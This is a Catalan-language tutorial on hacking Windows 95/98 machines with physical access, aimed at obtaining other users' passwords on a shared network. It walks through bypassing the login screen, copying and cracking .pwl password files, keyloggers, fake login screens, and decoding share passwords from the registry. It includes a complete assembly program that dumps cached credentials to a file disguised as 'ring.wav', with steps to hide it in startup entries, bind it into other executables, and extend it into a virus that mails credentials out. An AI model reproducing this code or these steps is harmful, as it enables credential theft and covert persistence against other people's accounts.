HACKEJAR WINDOWS 95/98 AMB ACCES FISIC A LA MAQUINA per Alex Castan Salinas acastan@xtec.cat A aquest article intento explicar com saltar-se la seguretat d'un PC amb sistema operatiu Windows 95/98, quan fisicament tenim acces a la maquina en questio. Si coneixeu mes tecniques que les que explicare, i voleu fer aportacions, preguntes o qualsevol comentari a l'article, envieu-les a l'adreca de correu que apareix a dalt i us ho agraire molt. Primer de tot cal concretar que vol dir 'hackejar'. Les tecniques que fem servir per saltar-nos la seguretat d'un sistema son diferents en funcio del que volem aconseguir. No fem el mateix quan volem provocar un atac de denegacio de servei i fer caure el sistema, que quan volem la contrasenya (password) d'un altre usuari, que quan volem un fitxer al qual no tenim acces (per exemple un examen), que quan volem aconseguir privilegis d'administrador. En el nostre cas suposem una xarxa d'ordinadors amb diferents sistemes operatius: SunOs, Solaris, Linux, MacOs, Windows NT, Windows 95/98, etc. Imaginem que el que volem es aconseguir les contrasenyes de diferents usuaris. Per aixo atacarem el sistema en el seu punt mes feble: les maquines amb sistema operatiu Windows 95/98. (1) ENTRANT SENSE PERMIS: Quan intenteu accedir a la maquina amb Windows 95/98 us apareixera una pantalla on us demanara el nom d'usuari i contrasenya. Per tirar endavant i accedir a l'escriptori de Windows podeu realitzar diferents accions: - Posar, si en teniu, el vostre nom d'usuari i contrasenya. Podreu accedir a l'escriptori i a la xarxa. - Premer el boto 'Cancel.lar'. Tambe accedireu a l'escriptori pero no a la xarxa. - Quan s'inicia Windows premer la tecla F5 i iniciareu Windows 'a prova d'errors'. No us demanara el nom d'usuari i la clau, pero no tindreu acces a la xarxa. - Arrencar en mode MS-DOS i renombrar els fitxers de la carpeta 'Windows' amb extensio .pwl a una altre extensio. (2) FITXERS DE CONTRASENYES: A Windows 95/98 les contrasenyes dels usuaris es guarden a la carpeta 'Windows', als fitxers amb el mateix nom que els vuit primers caracters del nom de l'usuari i amb l'extensio .pwl ('password list'). Es a dir, que si al meu nom d'usuari es acastan, a la carpeta Windows hi ha un fitxer anomenat acastan.pwl que conte la meva contrasenya. Aquesta contrasenya esta codificada i si obriu el fitxer acastan.pwl o qualsevol altre amb un editor de text, no l'aconseguireu trobar. En realitat aquest fitxer no conte unicament la contrasenya d'acces a Windows, sino tot una col.leccio de contrasenyes de l'usuari que va guardant per tal que aquest usuari no les hagi de tornar a escriure cada cop que accedeixi a un recurs protegit amb contrasenya, be sigui un recurs de xarxa compartit, un servidor a un altre domini, un acces telefonic a Internet, un servidor de fitxers Novell, etc. Un usuari que hagi accedit al sistema, pot editar el seu corresponent fitxer de contrasenyes amb la utilitat 'pwledit', que trobareu al CD de Windows (no s'instal.la per defecte), o visualitzar-les amb la utilitat 'pwlview', que trobareu a l'adreca d'Internet 'http://winpwl.teamohms.org' i la utilitat 'cain' a 'http://www.oxid.it/'. Per aconseguir la contrasenya d'un determinat usuari copieu-vos el seu fitxer de contrasenya a un disquet i, un cop a casa, utilitzeu un programa especial per trobar la seva contrasenya. Per exemple, teniu el programa 'pwlhack', que trobareu a l'adreca d'Internet 'http://www.pilabs.org.ua/wisdom/', o tambe a 'http://neworder.box.sk' a l'apartat '#MS Windows 95/NT security' al subapartat '#Windows password crackers'. Aquest programa provara totes les claus possibles fins a donar amb la correcta. Aquest metode de provar totes les claus possibles s'anomena 'atac de forca bruta' i es una mica lent. Segurament necessitareu deixar treballant durant hores o dies un ordinador rapid fins donar amb la clau. Existeix un altre metode que nomes prova determinades paraules i s'anomena 'atac de diccionari'. Molts usuaris utilitzen com a contrasenya noms d'equips de futbol, noms d'objectes o, fins i tot, el mateix nom d'usuari! (3) KEYLOGGERS, ASTERISK VIEWER I FALSA PORTA D'ENTRADA: Un keylogger, tambe anomenat keytrapper i key sniffer, es un programa que un cop instal.lat es dedica a guardar en un fitxer totes les tecles premudes per l'usuari. Despres podem consultar el fitxer per buscar entre el text escrit el nom d'usuari i la contrasenya (login i password). Es important, per un programa d'aquest tipus, que passi desapercebut, es a dir, que no tinguem una icona a la barra de tasques, etc. Un asterisk viewer, com el seu propi nom indica, es un programa que un cop instal.lat ens permet veure que hi ha darrere dels asteriscs. Com sabeu, moltes finestres ens amaguen les contrasenyes escrivint asteriscs enlloc dels caracters corresponents. Si executem un asterisk viewer, quan premem una combinacio de tecles determinada, podrem veure que s'amaga darrere els asteriscs. Una falsa porta d'entrada es un programa que imita la pantalla on l'usuari introdueix el seu nom i la seva contrasenya per accedir al sistema. Ha estat un metode molt utilitzat en tots els sistemes operatius per cacar contrasenyes. Imagineu que creeu un programa que quan l'executeu dins una sessio vostre (o d'algun altre de qui ja tingueu la contrasenya) obre un a finestreta identica a la del sistema operatiu per demanar el nom d'usuari i la contrasenya, fent creure a un nou usuari que no hi ha cap sessio oberta en aquell moment, guarda les dades que aquest nou usuari introdueix en un fitxer que nomes vosaltres coneixeu, tanca la sessio que hi havia oberta, i comunica a l'usuari que ha hagut un error del sistema o que la contrasenya era incorrecta. S'acaba l'execucio del programa i l'usuari introdueix per segon cop les dades per iniciar la seva sessio. Si l'usuari es ingenu no te per que sospitar res. Podeu trobar keyloggers i asterisk viewers per Windows a l'adreca d'Internet 'http://neworder.box.sk' a l'apartat '#Utilities' al subapartat '#Keyloggers'. Personalment jo no els he provat, aixi que ja hem direu que tal funcionen. (4) EXPLOITS: Exploits, explicat d'una manera molt barroera, son debilitats o vulnerabilitats de programes instal.lats al sistema operatiu que comprometen la seguretat del sistema. Per posar un exemple: a Windows hi han programes en que l'usuari ha d'introduir contrasenya i on la contrasenya queda guardada a un fitxer en text planer, sense codificar! Podeu fer una prova per veure si passa aixo a la vostre maquina fent servir l'eina de Windows 'inicio -> cercar -> arxius o carpetes -> amb el text' i poseu la vostre contrasenya. Si trobeu algun arxiu, segurament contindra la contrasenya de mes usuaris. Trobareu llistes d'exploits, endrecades per sistema operatiu, programa i versio, a les seguents adreces d'Internet: www.cert.org , www.rediris.es/cert, www.genocide2600.com/~tattooman/index.shtml, www.infilsec.com/vulnerabilities, www.rootshell.com, www.iss.net/xforce, www.anticode.com, www.inseguridad.org. (5) RECURSOS COMPARTITS: Tenir ordinadors connectats en xarxa ens permet compartir els seus recursos: discos durs, carpetes, impressores, etc. A alguns d'aquests recursos interessa que tinguin acces nomes uns quants usuaris (de vegades nomes l'administrador) i, per aconseguir-ho a Windows, s'utilitzen contrasenyes per poder accedir. Aquesta contrasenya queda guardada en el registre de Windows codificada, pero amb un petit programa que trobareu a Internet la podeu decodificar. Per obtenir les contrasenyes codificades nomes cal editar el registre amb el programa regedit.exe de Windows i cercar els recursos compartits a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Per a cada recurs compartit de la maquina, a les seves dades hi ha dues entrades del registre, Parm1enc i Parm2enc. Parm1enc es la contrasenya d'acces total i Parm2enc la contrasenya de nomes lectura. Per obtenir el programa que decodifica les contrasenyes cerqueu a Internet 'sharepw.c' i/o 'sharepw.exe'. Els trobareu, per exemple, a www.rootshell.com, si cerqueu el text sharepw . Tambe podeu aconseguir facilment les contrasenyes dels recursos compartits d'altres ordinadors amb Windows 9x als que no teniu acces fisic (pero aixo ja es sortir-se'n del tema), amb la utilitat 'pqwak2', que trobareu a l'adreca d'Internet 'http://packetstormsecurity.org/'. (6) INTERRUPCIONS: La seguretat en Windows 95/98 es tan penosa que, un cop iniciada una sessio podeu, si sabeu programar una mica en ensamblador, cridar una interrupcio de MS-DOS (int 2fh 'multiplex') que us permetra obtenir el nom d'usuari i contrasenya, encara guardades a la memoria cache. Aquestes crides son: +---------------------+-----------------------+----------------------------+ | grup de treball | nom d'usuari | contrasenya | +---------------------+-----------------------+----------------------------+ | mov di, offset grup | mov di, offset usuari | mov di, offset contrasenya | | mov bl, 05h | mov bl, 03h | mov bl, 0eh | | mov ax, 1184h | mov ax, 1184h | mov cx, 0fh | | int 2fh | int 2fh | mov ax, 1184h | | | | int 2fh | +---------------------+-----------------------+----------------------------+ Un exemple de programa complet seria: Tallar per aqui 8<------------------------------------------------------- DOS equ 21h ; interrupcio DOS MPLX equ 2fh ; Interrupcio multiplex cseg segment para public 'CODE' assume cs:cseg, ds:cseg, es:cseg, ss:cseg org 100h cache proc far Obrir_Fitxer: mov di, offset nom_fitxer mov dx, di mov cx, 8 mov al, 01h ; mode escriptura mov ah, 3dh ; obrir fitxer int DOS jc Crear_Fitxer ; comprova si existeix mov handle, ax mov bx, handle mov cx, 0h ; desplacament 0 mov dx, 0h ; desplacament 0 mov al, 02h ; final de fitxer mov ah, 42h ; posicionar dins del fitxer int DOS jmp Grup_Treball Crear_Fitxer: mov cx, 0h ; atribut normal mov ah, 3ch ; crear fitxer int DOS jc Fi_Programa ; comprova si pot crear-lo mov handle, ax Grup_Treball: mov bl, 05h mov di, offset ans_workgroup call Obte_Info mov di, offset str_workgroup mov dx, di mov cx, 64+12 call Escriu_Str Login: mov bl, 03h mov di, offset ans_login call Obte_Info mov di, offset str_login mov dx, di mov cx, 64+12 call Escriu_Str Password: mov bl, 0eh mov di, offset ans_password call Obte_Info mov di, offset str_password mov dx, di mov cx, 64+12 call Escriu_Str Tancar_Fitxer: mov bx, handle mov ah, 3eh ; tancar fitxer int DOS Fi_Programa: mov ax,4C00h ; finalitzar programa int DOS cache endp Obte_Info: ; buscar a la cache mov ax, 1184h mov cx, 0fh ; Nomes cal per bl=0eh int MPLX ret Escriu_Str: ; escriure al fitxer mov bx, handle mov cx, 12+64+2 mov ah, 40h int DOS ret nom_fitxer db 'ring.wav', 0 handle dw 0 str_workgroup db 'workgroup : ' ans_workgroup db 64 dup(32) end_workgroup db 0dh,0ah str_login db 'login : ' ans_login db 64 dup(32) end_login db 0dh,0ah str_password db 'password : ' ans_password db 64 dup(32) end_password db 0dh,0ah cseg ends end cache Tallar per aqui 8<------------------------------------------------------- Aquest codi el podeu compilar amb qualsevol ensamblador (a Internet trobareu un gratuit del projecte GNU anomenat 'nasm') i obtindreu un petit programa MS-DOS (menys de 400 bytes) que al executar-lo guardara el nom d'usuari i la seva contrasenya en text planer a un fitxer anomenat 'ring.wav'. Potser que, de vegades, enlloc de guardar el nom d'usuari guardi el nom de xarxa de la maquina. En aquest cas haureu de agafar els fitxers .pwl i les contrasenyes obtingudes i emprar un atac de diccionari amb 'pwlhack' (veure punt 2 anterior). Molt be. Que podem fer amb aquest programa? Podem fer que s'executi automaticament quan algu inici la seva sessio, obtenint per lo tant la seva contrasenya. Nosaltres passem un cop a la setmana o al mes per recollir el fitxer de contrasenyes 'ring.wav' i ja esta. Per fer que un programa s'executi en iniciar la sessio tenim varies opcions: - Posar un acces directe a 'Inici -> Programes -> Inici'. Com que apareixeran el nom i la seva icona, per que no es noti li podem posar el nom i la icona d'algun programa que passi desapercebut. Per exemple, traiem l'acces directe de 'Busqueda rápida de Microsoft' o 'Inicio d'Office' i posem el nostre, amb el mateix nom i icona XD. Es facil de fer, nomes cal tenir una mica de practica amb el Guindows. - Indicar al registre de Windows que s'executi en iniciar la sessio. Encara passara mes desapercebut. Executem 'regedit.exe' i afegim a 'HKEY_LOCAL_MACHINE -> Software -> Microsoft -> Windows -> CurrentVersion -> Run' una linia amb el nom del nostre programa. - Etc. (Hi han infinitat de metodes. En trobareu un bon grapat a http://www.tlsecurity.net/auto.html). Problemes: En ser un programa per MS-DOS, encara que a les seves propietats indiqueu que s'executi amb finestra minimitzada, jo no he aconseguit fer desapareixer la seva icona de la barra de tasques per tal que no es vegi. Algu sap com fer-ho? Solucions: Fusionar el codi ensamblador del nostre programa al codi d'algun dels programes que s'executen en iniciar la sessio (si, com si es tractes de la infeccio d'un virus). Aixi encara passara mes desapercebut. Emprar aquest metode manualment requereix molta pericia, pero per sort tenim un munt d'utilitats que faran aixo per nosaltres automaticament. Les trobareu a 'http://www.tlsecurity.net/exebinder.html'. Una molt coneguda es 'elitewrap' a 'http://www.holodeck.f9.co.uk/elitewrap/'. Feina a fer: Aquest programa es senzill de modificar. Es pot mirar d'afegir codi per tal de fer un virus que aconsegueixi el nom d'usuari, contrasenya i adreca IP de la maquina, i envii aquesta informacio encriptada a una determinada adreca de correu electronic. La cache de contrasenyes, activa per defecte, es pot inhabilitar modificant el registre amb l'utilitat 'regedit' de Windows. La clau corresponent es: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network] "DisablePwdCaching"=dword:00000001 (7) SNIFFERS: Imagineu que heu entrat a una maquina amb nom d'usuari i contrasenya. Estareu, per lo tant, connectats a la xarxa. Dins d'una xarxa d'ordinadors, normalment quan un ordinador envia un missatge a un altre indica dins el missatge quin ordinador l'envia i a quin ordinador va dirigit aquest. Moltes targetes de xarxa poden funcionar en un mode que s'anomena 'promiscu'. Aixo vol dir: el vostre ordinador detecta que un missatge circula per la xarxa, l'agafa, comprova si es per ell i, si es aixi se'l queda i, si no, doncs passa d'ell. Be, un sniffer es un programa que posa a treballar la tarja de xarxa de la vostra maquina en mode promiscu, agafant la primera part dels missatges que circulen per la xarxa i guardant-los al vostre ordinador. Molts dels missatges que circulen per la xarxa contenen, a la seva primera part, nom d'usuari i contrasenya (per exemple, missatges d'inici de sessio), i de vegades amb el text en clar, sense codificar. Podeu trobar sniffers per Windows a l'adreca d'Internet 'http://neworder.box.sk' a l'apartat '#MS Windows 95/NT security' al subapartat '#Windows OS related tools'. Aneu amb compte perque a una xarxa poden tenir programes capacos de detectar si hi han ordinadors amb tarja de xarxa funcionant en mode promiscu. Trobareu un detector de sniffers a l'adreca d'Internet 'http://www.l0pht.com'. ------------------------------------------------------------------------------ Hackejar Windows 95/98 amb Acces Fisic a la Maquina - Revisio 1.5 Copyleft (c) Alejandro Castan Salinas Es concedeix el permis per copiar, distribuir i/o modificar aquest document sota els termes de la llicencia de documentacio lliure GNU, versio 1.1 o qualsevol altre versio posterior publicada per la Free Software Foundation. Podeu consultar dita llicencia a http://www.gnu.org/copyleft/fdl.html. El contingut d'aquest document pot canviar degut a ampliacions i a correccions enviades pels lectors. Trobareu sempre la ultima versio del document a http://www.xtec.es/~acastan/textos/index.html. Breu historia del document: v1.0 Primera publicacio del document. v1.5 Correccions diverses a tot el document. Per fer: - Passar el programa d'ensamblador per DOS a ensamblador per Windows. - Revisar les adreces d'Internet.